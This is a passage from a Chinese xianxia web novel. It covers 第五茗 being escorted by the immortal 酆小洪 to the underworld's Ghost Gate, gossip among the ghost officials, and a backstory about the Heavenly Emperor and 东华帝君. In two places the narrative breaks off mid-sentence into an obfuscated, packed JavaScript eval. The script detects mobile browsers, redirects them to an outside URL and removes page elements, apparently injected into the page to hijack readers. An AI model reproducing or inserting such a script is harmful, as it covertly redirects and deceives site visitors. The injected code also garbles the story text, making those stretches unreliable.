这话她可不能接,接了不就说明还有以后… 她和他们最好还是别有以后了。 这结界太过结实,第五茗是一点外界声音也听不见,对于热情招呼过来的鬼差,她不知如何回应,便只能充当睁眼瞎,假装没看见那一群又一群都认识她的鬼差。 心思和脑子,全用在结界内的另一人身上。 走了一阵,桥上光线越来越充足,好似黎明昼日。 第五茗抬手指向天上那轮圆月,道:“鬼门关快到了,仙君还要继续往前走吗?要不就在这里吧…前面道别就不方便了。” 日阳月阴,地下虽看不见太阳,但却有一轮大圆月挂在高空。 而这圆月非是地上那轮真正的月亮,而是地下与地上唯一最直白的缺口。 因冥界地府还是六天宫时,是天界的一部分,打造之初,众仙君是类比天界仙府宫殿来建造的,他们顾虑弱魂小鬼受不了阳热,便巧思凿了这个缺口,镀上一层神力,让它变成一轮不会变化的大圆月。 圆月把整个地府照得透亮,完全不像世人想象中那样,昏暗不可视物,阴森恐怖吓人。 借着月光,酆小洪在第五茗脸上,将其心思看得一清二楚。 他压低嗓音,肃然道:“我想送上君入鬼门关。” 虽是恳求,却用了不容反驳的语气。 第五茗苦闷。 此地就是鬼门关辖地范畴… 那一句话,听着是又无赖又执着… 什么叫入鬼门关,难道非得双脚全部迈入第一殿才算吗?! 况且,那越靠近鬼门关的鬼差,活的年岁越大,尤其十殿主,都是知晓六天宫秘辛的人,搞不好当年的事他们都还记得,万一哪位殿主眼神精明了点,又或者哪名鬼差抽搐了一下,认出他做仙前的身份,那可怎么办,岂不是上万年的付出,都成流水了。 阴魂不散的鬼,她见过,不识趣的仙君,她幸好也曾遇到不少,不然她心中都没把握,能好好应付这位做了仙君的小鬼。 不愿意再继续拉扯下去,第五茗也还没有勇气彻底摊明两人关系,她把酆小洪依旧奉为仙君相待,皮笑肉不笑,胡侃规劝道:“这话怎么听起来这么不吉利,哪有送人去鬼门关的,再说了,有两无常引路,我需要你…仙君来护送?这路我熟,仙君就此留步吧。” 她脚下也故意迟缓。 酆小洪并不打算听她的,道:“上君,这路你虽熟,但我知晓你每次都走得不易,前面不远了,我就送你到鬼门关。放心,我不会进去,你不用担心我会走到第一殿,就算到了,他们也认不出我来,不用替我担心。” 第五茗悻悻然道:“啊?是吗?” 酆小洪面色坚毅,道:“上君相信我,我真的只是想送你入鬼门关。” 第五茗低声道:“那…鬼门关前的路就多谢仙君了。” 昂首,她瞪了一眼天上那轮圆月,心中嘀咕道:太亮了,心事全藏不住,都叫别人看光了! 刚低回头,第五茗看在酆小洪视线落在她腰间的乾坤袋上,她抬起袋子,问道:“是有什么问题吗?” 酆小洪指了指道:“破了。” 第五茗解下来,拿在手中细细查看,没有看见有破洞,半晌道:“没有啊。” 酆小洪道:“快了。” 在第五茗狐疑地检查手中东西时,他继续道:“这些东西,上君先用孟婆的乾坤袋装着,等从十殿出来,我再替上君换一个。” 第五茗不情不愿道:“又要找借口送我东西?不…不用了吧。” 酆小洪举手立誓,表诚意道:“上君别误会,我别无他意…上君手中的乾坤袋不耐用,换一个好点的,不然东西丢了是小事,东西掉出来伤了其他小鬼了,想必上君会于心不忍。我不过是担心上君日后会自责…” 第五茗伸手,拉下酆小洪举起立誓的手掌,严肃道:“神明不可胡乱下誓,更何况是这种小事。” 少顷,她握紧手中的乾坤袋,叹息道:“仙君言之有理,是我想少了…” 酆小洪顺她手掌的牵引,放了下来。 第五茗局促地收回手后,低下头,继续道:“普通的乾坤袋用不了几日便会破损,换做以前,我还能自己炼制一个,如今倒是只能随便捡一个来用了,多亏仙君心细,发现了这一点,不然后面我该惹不少麻烦…那便辛苦上君帮我寻一个结实耐用点的,等我把这堆东西找一个没旁人在的时候还给他们,我再把乾坤袋还你。” 酆小洪并未接话,听她说到“不能炼制法器”时,侧头悄悄凝视过去,见人还在身旁,才双拳微蜷,阻了心口隐隐生出的疼痛,但神色却不由自主地堆起一丝自责。 这时,桥走到了尽头,鬼门关上方的圆月也离小鬼们近了几里。 那圆月的下弦,倾泻而出一道如瀑布般的纱烟。 纱烟越往下落,越稀薄,成了桥尽头,与四十九梯之上鬼门关高台的隔断。 “先见纱遮影朦胧,后瞧烟绕鬼混沌,高牛大马巨吓人,桥上小鬼独入门。” 行到此处的小鬼,情不自禁地在嘴里诵念起这首打油诗。 埭骰埭桡和其他勾魂使一样,在纱烟下的第一节台阶前停了下来。 第五茗和酆小洪走至后,埭桡道:“我们兄弟二人只能送你们到这里了。” 看见埭桡嘴唇动了动,第五茗大概猜出他说了什么话,眉头蹙了蹙,觉得这结界不解开,有些不方便,轻拉酆小洪袖子,小声提醒道:“仙君,结界可以撤了吧。” 酆小洪指尖轻动,四周勾魂使交代幽魂的嘈杂声铺面而来,伴随而至还有一阵埭桡的声音,他继续道:“这烟纱下四十九阶之上的高台,便是鬼门关,登上高台脚下会生出命数星卷,到时候我二人的上官,也就是牛头马面容貌的鬼差会来接你们,跟着他们进去就算走完这阴间路了。” 第五茗点头道:“好。” 埭骰提前叮嘱道:“台阶上的烟雾你们别害怕,凡间烧寄香蜡钱纸的烟灰因为太重,就会落下来,落到这里,刚好替你们遮掩镇门牛头马面凶恶模样,你们不用畏惧。” 埭桡想起来两人是历劫仙君身,他也不知道他们究竟有没有见过牛头马面,替埭骰补充道:“其实…牛头马面也不恐怖,都是在地上人吓小孩的传言,他们和我们差不多,也是人,挺好说话的。” 第五茗笑道:“谢谢埭骰大哥,也多谢埭桡大哥,我们知晓了,待会儿应该是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608856|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会害怕的。” 埭骰有些不舍道:“小明…你会去应征鬼差的,对吗?” 第五茗望了酆小洪一眼,恰好与对方一直盯在她身上的视线相撞,含首笑道:“当然,自是不能浪费了你…们的苦心。” 埭骰也笑了起来,道:“嗯,我在风雨江城隍庙,得空可以来这方看看。” 第五茗点头道:“好,有机会一定去。” 一番话别,埭骰埭桡回了来时的那座桥,去往当职的辖地庙宇。 四十九阶台阶上,纱烟缭绕,圆月不见。 圆月的光却穿透了丛丛纱烟,落在里间小鬼身上,甚至那月光角度有些刁钻,竟是将高台上看守大门的牛头马面的头影,也映射在了纱烟上。 牛角凸起,牛耳如扇,牛头巨大,一晃一晃,似在审视小鬼;而旁边,是一张长长的马嘴,偶尔马嘴豁然张开,口涎拉丝,再闭上,影子遮掩住一只小鬼身上的月光,恍若吃下了这一具幽魂。 纱烟中,小鬼们见这一幕后,惊叫连连,脚步踟蹰。 只有第五茗知道,那不过是牛头马面举止粗鲁,看守鬼门关时又喜欢偷懒打瞌睡、打哈欠,才造成了这么一副场景。 酆小洪道:“上君,是不是很吵?” 他刚要起手再拉一方结界,封了这些杂音,第五茗拉住了他的手,道:“都到鬼门关前了,听一听这些声音正好醒神。” 酆小洪松开了手,点头同意,陪第五茗慢慢悠悠在台阶上攀爬,且一并听了阵鬼哭狼嚎。 面前纱烟越来越薄,他们已经走了一半的阶梯。 第五茗唏嘘道:“没想到这一路也没有那么长。” 酆小洪附和道:“的确有些短。” 第五茗踩上一阶,停了下来,侧身向后,轻声道:“出这里之前,我还有一事想问问仙君。” 酆小洪驻足,与第五茗一并站在第二十五阶梯上,不顾其他穿梭而过的小鬼,诚意道:“上君但说无妨。” 第五茗呐呐道:“酆小洪…他可已投胎转世?” 酆小洪并没对这个问题感到震惊,默认道:“他先上君一步入轮回道。作为报答,此生后,俱会健康无虞,生活美满。” 第五茗喟叹道:“那就好…仙君这副模样是顶的酆小洪的吗?” 酆小洪点了点头,道:“嗯。” 第五茗笑道:“那我也算没辱没阿爹阿娘的嘱托,将他们的痴儿养大了。” 酆小洪蹙眉道:“一世只是一本子,一则故事。上君可是当真了?开始牵挂故事中的人了?” 第五茗大笑道:“哈哈哈哈…可能体会故事和写故事是有区别的吧,走到这一步,倒没注意上是故事还是真实了。只是从这门一入,我就不再是浦小明了,既然都走到这里了,自然而然地,好像就会想要把蒲小明再做得更全样一些。” 倏地,第五茗忧虑道:“仙君办仙界事,可是会用小洪的模样?” 她如此问,证明心中是忧心「酆小洪」的,和她嘴上说的,把本子当做是故事,全然相违背。 酆小洪脸色有些不悦,冷冷地道:“不会。” 第五茗道:“那就好,他福薄,仙君若是顶他的模样四处行走,小洪就算有神君赐福,估计还是会风波不断。” 她对他的信任全然被这两万年消耗掉了…酆小洪脸色一会儿白,一会儿青,心底竟有些羡慕「酆小洪」,良久,他双唇张张合合道:“上君放心,我未用酆小洪的模样做过任何事,魑魅魍魉不会找上他。今日后…我也不会再用他的神魂形貌。” 咯噔一下,第五茗仿佛回到了风雨江水中,她总感觉,身旁人下一秒又要一脚踩下一只鬼。 想起刚才那句话的重点,“今日后…我也不会再用他的神魂形貌。”她偷瞄了对方几眼,可惜雨无伤望魂都看不透的‘真容’,她又怎么能瞧见「酆小洪」下面藏的本尊模样。 她结结巴巴道:“哦…好…挺好,我先入鬼门关了。” 慌张抬脚,她忘了梯步高度,犹豫间,脚下起得有些矮,险些让她绊倒在台阶上。 酆小洪小小地叹了一口气,跟上来,提醒道:“上君…小心脚下台阶。” 第五茗心虚道:“哈哈哈…走神了,走神了…走路看路,我小心些,仙君也当心脚下。” 酆小洪嘴角轻扯,道:“多谢上君关心。” 两人专心致志地眼盯脚下台阶,和其他幽魂一样,穿纱烟而出。 在一串更加震耳的惊呼声中,两人也站在了鬼门关前的高台之上。 “那金灿灿的是什么?” “好壮观!” “太铺张浪费了吧。” “上面五颜六色的大石头是什么啊…不会是宝石吧?” “好土气…” “俗!” “修造之人的品味堪忧啊。” “…” 幽魂七嘴八舌,没见过世面的嘴里全是惊叹,有学识有底气的,则比较唾弃,反正到了高台之上,都免不了要嘴上一两句。 他们嘴的呢… 正是那坐落于纱烟后,高台上的鬼门关! 传言,鬼门关恐怖如斯,令人闻风丧胆,让小鬼见了畏惧,仙君听了避讳,如今这幽魂的话,听着却不是那般意味。 这鬼门关究竟是什么样呢? 回答这个问题前,得先问出另外一个问题。 可否见过用纯金打造的大东西? 其实,这个问题有没有答案也无所谓。 因为不管见没见过,但凡只要死过一回,去到地下,最后一定会有此见识。 高台之上,看见那一座纯金垒造的城楼。 城楼上面镶嵌了坟包大小的宝石,放眼望去,金碧辉煌,鳞次栉比,浮雕栩栩如生。 左右若隐若现出与城楼齐高的鬼影,手持利器,凶神恶煞,面容缥缈。 而中间呢,是一个百丈高,百人宽的无扇大门,门上没有牌匾,也没有题字,空荡荡的,肉眼看着有些凄凉,有些空洞。 却唯独没有恐怖之意… 但,这的确是那世人传闻中的鬼门关! 其实,鬼门关的样式,也是仿的天界天门。 只是十殿的殿主都来自人界,所以这风格就更接地气了一些。 55. 路短情深意初显3 纱烟后,无数张命数星卷在幽魂脚边出现,上面是关于他们的生身信息介绍,浮字流动起一串荧光,直奔命数星卷那端,被牛头马面们手执的卷末。 这命数星卷就相当于一根绳子,牛头马面,顺卷寻鬼,就能找到职命所负责的幽魂。 第五茗脚下的星卷,牛头还没全部收回去,她便听见一道像在磨沙子的声音。 牛头问候道:“上君,上君…你怎么又回来了,这次可还好玩?” 一瞬,说话的牛头走至第五茗面前,命数星卷也尽数收入了他手中。 豁然,第五茗眼前的鬼门关,稍稍地发生了一些变化,无扇大门之处,小鬼们正井然有序地排队,一个一个地从城楼最中间的门下走入。 「鬼门关」金红微微发光,显影在他们头顶的正上方。 原来,这巨大的空门,全是为了用来挂城门题字的。 不仅如此,城楼也有了变化。 在城门之上,除了那满金城楼,还出现了一层比一层高的楼宇,一共十层,最上方一层,与圆月下弦相接,圆月中那凡间捎来的香蜡钱纸烟灰,不再飘散,全倒进了最高的楼宇中。 走兽绕梁,麒麟镇角,盘龙飞凤,抱柱飞墙,规模壮丽,气势宏伟,有仙气、有火气、有热气、有生气…唯独没有鬼气。 十层楼宇,十层无一不是这番景象。 令还没走上前的幽魂们,望畏见惧。 第五茗虽然常来,但每次见了,和寻常幽魂一样,心中难免胆寒。 牛头马面招呼的话,愣是让她没有一次能听进耳里。 正打算镇定心神,随意敷衍两句… 转瞬,不消她操控意念,心中恐惧全然消失。 她手上有一触温热,是酆小洪在未得她同意,见命数星卷离她身之际,握住了她的手,替她解了鬼门关的震慑。 来的这只牛头眼神精明,蓦地,扫了眼那只交握在第五茗手上的仙力,小心翼翼抚平身上贴的冥钱黄纸,整理着装,满脸笑容,双手抱拳,朝酆小洪问候道:“见过仙君,瞧我眼拙,仙君未踏星卷,我应当早猜到您是天上的来人。敢问仙君可是要入鬼门关?” 酆小洪道:“不入。” 牛头又问道:“那仙君也是被送来渡劫的?不对啊,您脚下没有星卷…” 酆小洪和牛头对话的间隙,第五茗抽了抽手,酆小洪握得紧,她没能拿回半分,反而引来了酆小洪的侧目打量。 酆小洪道:“方才,上君不是同意我陪着走完鬼门关前这一截路吗?” 第五茗诧异,腹诽道:原来是这个意思,要替我消震慑之力。 可先前在桥上都能拉结界,怎么到了这里,这只能这样而为… 鬼门关都是老熟人,怪让人尴尬的。 又抽了抽手,依旧被握得紧紧的,第五茗尴尬笑道:“是啊…谢谢仙君了。” 两人忽视的那只牛头,面容纠结地又问了一遍,道:“这位仙君是来渡劫的吗?可您脚下没有星卷,我没法领你入鬼门关,还请仙君明示。” 说完,牛头还向第五茗挤了挤眼,可怜兮兮,祈求第五茗帮忙解难。 而那牛头心中却埋怨道:果然遇见上君就没好事… 还总招来一堆麻烦仙。 第五茗接收到牛头的眼神,浑身一怔。 酆小洪察觉到第五茗的局促后,关心地又侧头看了回去,继续晾着那牛头。 第五茗满脸无奈,替酆小洪向牛头解释道:“这位仙君不是来渡劫的,他…他是…” 第五茗拧眉纠结,想了好久,才找到一个借口,道:“他是来鬼门关前转一转的。” 牛头匪夷所思道:“转一转?” 谁家好人来鬼门关前闲逛!! 牛头一副“我不是傻子,但你是真无聊”的表情,翻了一个白眼,等着正主回答。 酆小洪噗呲一声笑了出来。第五茗面红耳赤,无地自容,道:“仙君莫笑,你不是说只行到鬼门关前吗?你既不投生,又不是来受罚的,可不就是来鬼门关前晃悠一圈嘛,难道我说错了?仙君又改主意了。” 酆小洪笑容不减,无奈道:“上君说什么便是什么吧。” 回过头,他对牛头道:“嗯,如上君所言,来这里转一转,上君入鬼门关后,本君便离去。” 牛头额角抽搐,他倒是听明白了酆小洪的后半句话,知道酆小洪并非第五茗口中的闲逛,而是来送第五茗入鬼门关。 仙家之间的事,不好多问。 他心中会意,直回了身,转身引路前,又忍不住瞄了一眼面前两人大袖下,大手握小手,发出仙家法光的地方。 他侧身让道,嘴角笑容暧昧道:“我今日事不多,两位可慢些走,前面路短,别脚下步子太大,两步就走到鬼门关了,那震慑之力来得猛了,上君指不定会遭不少罪。” 牛头的眼色和动作,第五茗看得是一清二楚,那牛头脑子里想的是什么,她不用问,也能猜到个大概…不外乎是误会了她和酆小洪有一腿,满脑子腻歪出了一些小鬼那里听来的情欲命格故事!故而,前面半句话说得十分不正经,后面半句还特意无视了她,专说给了酆小洪听。 可事实哪是这般!! 酆小洪还未解释,顺牛头话道:“嗯,本君知晓了。” 他转头对第五茗道:“上君,可听牛头之言,行慢一些,魂身也能轻松一些。” 过多解释,必然要产生更多误会。 第五茗噤了声。 此刻,她恨不得飞进鬼门关,可惜她没法力,没符咒,只能老老实实地小步挪走。 酆小洪也当真成了方才说的“来转一转”,摆出了闲情逸致的样式。 牛头跟在两人身旁,手握腰间通冥牌,在牌内闪起鬼火: “重大消息,上君勾搭上了一个男人。不对!是勾搭上了一位仙君。” 又一簇鬼火闪现:“什么!上君这么厉害?就去做了一回人,就拐了一位仙君回来。” 那牛头道:“可不嘛,现在两人就在鬼门关前,都可以过来看一看,他们可着劲儿地在秀呢…有谁知道,上君这一世是什么劫数吗?” “都勾搭仙君了,自然是情劫了吧。” “谁给仙君写了情劫的?怎么一点消息都没透?” “上君不是只有死劫吗?” “不知道。” “我看见了,哟喂~那手牵的哟,啧啧啧,有败鬼德。” 那牛头道:“刚才晃眼间看见那仙家光泽时,还把我吓了一大跳,以为是此次迎接的仙君到了。幸好啊…幸好,他只是上君的姘头。” “咳咳咳咳…好好说话,这个词可用不得。” 那只说看见牵手的鬼火闪了闪,现场解说道:“我就在鬼门关,他那话说得不对,照现在上君拿捏不住对方的架势来看,上君更像是他的姘头…你们不知道,那仙君除了身姿看着傲然了些,面容却是修得一塌糊涂。哎!等等!!那仙君定是个法力高强的,他在鬼门关前,步态好轻盈啊。唉…别说上君还是有要求的,做姘头,也挑了一个最能干的仙君。” 一只在鬼门关前,也瞧见这一幕的鬼差,闪了两把鬼火,道:“你说的还真没错,我也看见了,一眼就能瞧出来,上君和他,是谁图了谁,谁攀附了谁。上君当真是仙心越来越不稳了,那容貌怎么下得去口。” “长得这么不好看?” 那现场解说的鬼差道:“磕碜…” 那牛头附和道:“是有些一言难尽,但万一上君就好这一口呢?” 那现场解说的鬼差道:“有可能,瞧起来和我们冥界地府好些个鬼仙容貌相似…我没说你们不好看啊,是他有些帅气的点,还是和咱们鬼仙有些相似。” “…” “我们冥界地府的?” “长得不好看的话,可能性极大啊。” “他从鬼身飞升的话,不就不好重修面容吗?” “那倒是…” 一簇鬼火反应道:“原来是在我们地下勾搭上的仙君啊,难怪要送上君来鬼门关,这里会不会是他们的定情之地!!!还怪浪漫的!!!” 一簇鬼火弱弱地闪道:“若你们说的是真的,那仙君不就也在我们通冥牌内?我们方才说的话,他会不会都听见了?就算他没听见,孟婆大人和上君关系如此亲近,今日的言论,不知道孟婆大人会不会告诉上君呢?上君知道自己做了姘头,又会不会来找我们麻烦呢?你们议论这么久,难道不害怕吗?我们还要继续聊下去吗?” “…” “…” “…” 通冥牌内,鬼火虽未熄,但却没了声音。 好一会儿,那牛头道:“算了,不说了,他两就在我旁边呢,得小心伺候着。你们…自己看着办吧,我先不说了,日后我也是一个哑巴了…诸位没事,就不要找我了。” 牛头鬼火闪了闪,就熄了下去。 “…” “…” 鬼火们顿然,俱是吃瓜吃到不知所措。 好一阵子时间过去,有一鬼火反应过来,找到借口,闪道:“哎呀!倒是忘了,我今天还没洗澡呢,万一来地府办事的仙君到了,是我撞上的,那我不就惨了…我也不聊了,我去抓几只香香的女鬼给我搓会儿澡。” 又熄下一道鬼火。 那借口好用,有几道鬼火紧接闪道: “别说还真是,我也给忘了。” “我也没洗,一起呗。” “我也要来,记得多找几只香香的女鬼来,她们爱干净,知道怎样洗,才算洗干净了。” “…” 最后那只发问的鬼,独自一人闪道:“熄火就熄火,为什么要有借口才能不聊天呢?算了…鬼都没有了,我也熄火了吧。” 通冥牌内,又恢复了宁静。 鬼门关前,轮到第五茗验明正身入门了,那守门的牛头马面,接过引路牛头的星卷后,并没急着打开,而是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613761|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸笑意地在第五茗和酆小洪身上打量,最后纷纷抱手见礼道:“见过上君,见过仙君。” 他们打量来时,第五茗也同样在一脸稀奇地细细观摩牛头马面,笑问道:“两位大哥别来无恙,只是…怎么瞧两位大哥身上好像有些不同了。” 守门牛头的笑容消失,幽怨道:“还不都怨天界的那些仙君…渡劫那几位,一入第一殿,便在殿下面前说我们身上是又脏又臭,这次风雨江之事,天上打算派一众仙君来地府协助,第一殿殿下怕丢了脸面,命令我们必须全部在仙君来之前喜净身子。” 回想起风雨江城隍庙女鬼们的传言,第五茗惊讶道:“你们真抓了女鬼去陪你们洗澡?两位大哥忒过分了吧。” 守门马面,甩起腮帮子,呼噜噜口齿拉丝道:“这…这纯属谣言,不过是我们皆不知何为干净,这才请了女鬼去帮忙。” 守门牛头附和道:“女鬼我们也是挑的,我们只是想净身,她们香香的,想来帮我们洗过了,自然我们闻起来也是香香的,仙君们就再不好在第一殿殿下面前说我们的坏话了。” 第五茗点头道:“那倒是,如今两位不仅看着干净,闻着也香,只是可惜了一副好盔甲。” 守门的牛头马面脸上皆漏苦色…在第五茗的话中,还挤了一副“流泪”的神情。 第五茗安慰道:“没事没事,这档子事过了,盔甲可重新再炼嘛。” 牛头马面收了情绪,望了眼第五茗身后越来越长的队伍,守门马面手中三叉戟在地上一跺,开了一人宽的结界入口,道:“上君,请吧。” 马面话刚落,第五茗从酆小洪手中,抽回了手,把一直拿在手中的乾坤袋系回腰间,边整理,边向身侧人嘱咐道:“仙君,就此别过吧,我该进去了。对了,如果可以的话,仙君准备给我的乾坤袋,要不就寄放在鬼门关牛头马面这里?我和他们熟,他们不敢贪墨我的东西,他们要是敢贪墨,我就盯着他们两个烦,烦到他们连鬼都不想做…咱们以后,还是后会无期比较好…” 酆小洪打断她的话,唤道:“上君!” 第五茗神色不同之前的随意,此刻看起来,有先前在迷魂店与其他九人拉扯时的忧愁,她道:“你们这群小鬼的心意我知晓了就够了,如今…还是不要和我有太多牵扯,我此劫多磨难,与我见面过多,恐伤你们难得修炼出来的神格,至于今时擅自寻我,又牵扯出来的一段命劫,若是我想到办法了,会去为你们解一解。” 若是我还有这个机会。 第五茗眸色暗淡,放好乾坤袋,慢慢地整理衣襟,希望能磨蹭地得到酆小洪的回应。 守门牛头手展星卷,卷上字窜入第五茗身上,卷轴消失,他小声抱怨道:“上君…你每次都要絮叨一阵,可是鬼门关一刻时辰内,要验明正身几十只小鬼,上君挡在门口多一分,我们就又要多乱上一阵,不仅如此,高台上堵的小鬼多了,第一殿殿下待会儿指不定又要罚我们两人的俸禄。” 酆小洪斟酌道:“上君,先入鬼门关吧。” 他也催她…第五茗讪讪地道:“这就进去了…” 她朝前迈了一步,一只脚刚好跨进结界内,结界上的金丝盘复,直奔第五茗的脚下,把第五茗一只脚困在了鬼门关内。 这不是她遭遇了什么咒法。 而是入鬼门关的正常流程。 冥界地府为防止小鬼在入鬼门关的时候闹事或是反悔,特意在门上加了约束鬼身的术法——既入鬼门,即做小鬼,只有前路,不复来时。 突然,酆小洪在她身后道:“上君,我需拉一方结界。” 第五茗道:“结界?做什么?” 酆小洪没答她的话,口中严正以待道:“泰山…” 光这两字,第五茗便察觉到身上的不对劲了。 不用酆小洪解释,她知道他为何要拉结界了!! 随酆小洪吟念出声,她身上结界立起,落于鬼门关那道术法之下,只有她可见,同时,她在鬼门关外的另一只脚,被一道仙法困住,让她不能逃避。 她心中一沉,默声大叫道:我不听…走走走!你给我速速离开!!! 酆小洪却继续道:“泰山隗晎,以魂命、神格祭烧,赐福司命殿上君第五茗,逢凶化吉,遇难成祥。” 金光再现,原来这才是第十身护身符。 第五茗怀中的通印光芒闪烁,脚下鬼门关锁住的阵法,顿时消失,她可以回身,但脚下却好似有万般重,让她一点也挪不动。 良久,第五茗低头叹息道:“傻子…非得做到这一步吗?难怪你说我十殿试一定能过,就你们十人送的福气,我想不成都不行啊。” 顿了顿,第五茗把另一只脚收进了鬼门关门内,未曾再瞧上一眼酆小洪,留下一语,道:“我让小一给你备了几坛茶酒,带回去好好尝一尝吧,你一路的心意我都清楚。放心吧,我会过十殿试,修出魂命,应征鬼差。” 声音消失… 金光消失… 结界消失… 56. 仙界冥府差使事1 “天界无情又无义,上君却因恶鬼柔肠改天命,天宫、九府一劫逆天道,小鬼飞升去做仙,上君苦渡十八炼狱地,神鬼不提,昔日恩情皆相遗…” 这首歌谣,在天地人三界传唱了上万年,到如今,已经没有多少神妖人鬼还记得,偶尔在凡间念及,还是因为许愿未遂,用此歌谣来揶揄一番被跪拜的神像。 歌谣里提及的天界,依然还是那个高高在上的天界。 天宫却不再是引渡亡魂的六天宫,而是如今世人都敬畏和害怕的冥界地府。 九府也因三官大帝云游虚无,从摩肩接踵的洞天福地,变成杂草重生的遗迹绝址。 而那群小鬼呢,好像飞升之后成了炙手可热、世人跪拜祈福的神君…的座下弟子。 至于上君嘛… 呃… 上君… 世间其实没有上君这一仙职,可能是因为当初犯事的仙君,在天命天道设下的劫难中始终没能渡劫成功,长年累月,大家便习惯用这独特的称号,来称呼这位天上下来的仙君。 也有另一种说法,「上君」这一称号,是那仙君自己为自己所拟。 一来是她调侃自己久下天界而不能归位。 二来呢,上君当初在天界神格较高。 虽被抽仙骨,剃仙根,但一身仙血仍在,神格在天界也是依旧金辉耀眼,为了方便押解她的牛头马面,阴帅鬼差称呼她,便取了这么一个尴尬的称号。 - “东华帝君,本君初任天帝一职,手下缺人,实在缺人…” “无东方阳和之气,金符难生,神格亦难落,望你体恤本君啊。” “帝君不司生育,本君求的也不是活人,望您出面,为天庭接天生神格一副,日后天庭与方丈山,本君与帝君,必存齐轨连辔之谊。” “本君这天帝当得有愧,世间人才济济,奈何分身乏术,亦无人替本君点兵点将,帝君仁德,望怜。” “帝君心慈博爱,若本君能与您一道育养一副天生神格,司命府不仅后继有人,天庭也可倚其势,无后顾之忧,您就当为司命府、为方丈山…为天界、为本君分忧一番。” “帝君…” “…” 天地人三界,至开天辟地以后,奉天命天道,以自身之势,生生不息。 天界却不知从何时开始日渐稀缺,上百万年,九重天的天命天道之中,才降下一道金符,恩赐神格,诞下神明,为天庭添势。 可这些仙君啊,又因天生神格,能力超群,资质超凡,做事就随心所欲,用情也无所忌惮。 导致自身因人,因妖,因事,因物… “流落”至其他地界,销声匿迹。 三清道祖座下的三官大帝,即掌管赐福的天官紫薇大帝,执权赦罪的地官清虚大帝和负责解厄的水官洞阴大帝,受三清道祖指示,为避免天庭最后因神明凋零,消末于世,他们在云游虚无,参悟三界道义之前,共同为天界择选了一位无七情六欲神格的仙君,继任天帝,以此统领众神,保天界运势。 被委以重任的天帝也是天生神格,他不负所托,即位后,为天庭做了两件事,便令天庭就此起死回生,枯木逢春,日益繁盛,成为了三界至强致胜的一方。 第一件,针对天庭内部,他效仿人间,以法制地,颁布天庭法规。 尤其是上界仙君所行所思所想,他率领名望之神一起做了特定的规制。 要求众神明仙君如他一般,以无情道义巩筑天庭之势,一心一意为天庭谋事。 第二件事,便是和其他两界,抢人! 也就是三界传颂的人鬼妖飞升成仙之事,那实际上是…天庭为抢人做出的美化口号。 人有大功德,生时可被点化,死后亦可飞升。 鬼若在六天宫之内,参悟天地道义,淬炼出筋骨,亦可以飞升。 妖则需要上万年无恶修行,才可以被点化至天界。 而他们的飞升之道,皆需要有九重天中,天命天道所承认的福泽命格。 然…寻常肉眼又看不见这天定的福气命数,天帝的这法子也行得十分痛苦。 他不得不于方丈山,拜求掌管司命府的东华帝君出山。 九千九百九十九年中,数万次的登门拜访下,东华帝君终于肯挪出府门… “哎,难缠…难缠,此命难缠,你亦难缠,本君引接金符便是了。” 于是,东华帝君出山入天界,号令东方阳和之气,于天命天道之下,替天庭在一万年内求出了一道金符,育生出一副天生神格,而此神格的拥有者,正是那歌谣里的上君,天帝和东华帝君最看重的仙君,前司命府的司命真君——第五茗。 东华帝君心知当初第五茗的神格求得急,担心物极必反,瓜不熟就落地,害得这副神格报废,便从天帝那里求得一允诺,只让身负神格之仙在司命府任职,担任福泽命格挑选之事,不再过多肩负其他职责,以此为其空出更多时间来稳固心神,淬炼神格。 天帝应下承诺,又恐神格入司命府修行会失大局,在神格幻形之前,他日日前往天道,亲自呵护金符。 “本君乃天帝,日后可做你榜样。” “若能生「初心」,本君愿全力栽培你。” “无上荣誉,施福降泽,掌管八方,受万物敬重,继本君之路。” … 每日一语,他却有违诺言,对这副天生神格进行了胎教。 东华帝君得知此事,连忙赶至天道,查看神格。 只见那金符下,有一本簿子,若隐若现。 竟是未诞之人,提前生出了命数!!! 东华帝君气愤至极,闯到大殿,对着天帝劈头盖脸地训斥了一番,为防止金符出现问题,他便留在了天道,陪伴金符降生。 “外人之言,万不可信。” “天帝所嘱,不得进心。” “你之命数,需等天道批允。” “本君接你出世,早为你谋过一算,你落得早,尚未感知感悟,司命府有万千命数可观,你可徐徐修也。” “若你恼我们提前唤你,本君可禅位,宽解你心气。” 金符在天道下躁动不堪,那本簿子越翻越猛,东华帝君被惊得未曾休息好过一刻,嘴里更是日日碎念,希望金符能静定下来。 好在,此事不负他的期望,终于叫他守着金符,等来了天道给予金符的命言,结出神格,降生于世。 东华帝君走出天道,舒展神容,在天帝的注视下,喜笑道:“此天生神格所降之仙,名为第五茗,为天道所定的司命者,亦是未来天界之秀,可予重担。” 天帝十分满意,道:“甚好!甚好!!” 第五茗不愧是天生神格,一千年不到,在天道下便修出身形,一万年不到,直接历渡劫雷,走任司命天君,落居司命府。 正如东华帝君所言,她因凝结神格时没有感知感悟一程,故此,从幻出人形后,她能自由走动,便对一切事物都感到好奇。 好奇树是怎么长大的,花是如何绽放的,小鸟是如何飞跃的,修炼是如何偷懒的… 当然,因为未幻形前,耳边时时便响起天帝和东华帝君的声音,她对这二位也是一样的好奇。 好奇天帝的职务、生活、性格…以及成为天帝,会变成什么样的仙君。 